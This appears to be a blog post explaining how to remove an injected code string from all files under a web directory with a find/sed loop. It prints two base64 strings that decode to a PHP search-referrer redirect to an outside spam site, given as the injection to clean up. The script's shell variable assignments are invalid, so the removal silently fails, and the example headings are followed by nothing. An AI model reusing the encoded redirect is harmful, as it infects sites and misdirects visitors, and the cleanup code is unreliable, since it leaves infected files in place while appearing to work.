Remove a sentence from files in linux using SED command

Hi to all,

Today we are going to see the how to remove a sentence or word from any type of files in the linux server. Especially Website developers should know this information.

Sometimes hackers can enter append his code to all index files or all type of files. If suppose our website files are too large. So we could not remove the unwanted script code one by one from each file. But We have solution for this type of bugs. We can remove any of sentence or word using a single line of command in linux operating system. Now we can see how it will work.

If we want to remove a sample sentence for root and sub directory files.
Example folder:


We have remove this sentence to all folders.
Example sentence:

Just connect with your server via Shell Terminal. Putty software for windows and Linux for g-nome terminal.

Just do this way.

> first_string = DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29t

> second_string = KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9

> find /home/manimaran/public_html/training/. -type f | while read -r file
> do
> sed -i "s/$first_string//g" "$file"
> sed -i "s/$second_string//g" "$file"
> sed -i 's/sample//g' "$file"
> done

Thats it. You can remove a word like this way
> sed -i 's/sample//g' "$file"

Now all matched patterns are replaced by empty value.

I hope this helps some one.

If you have any clarifications you can comment here.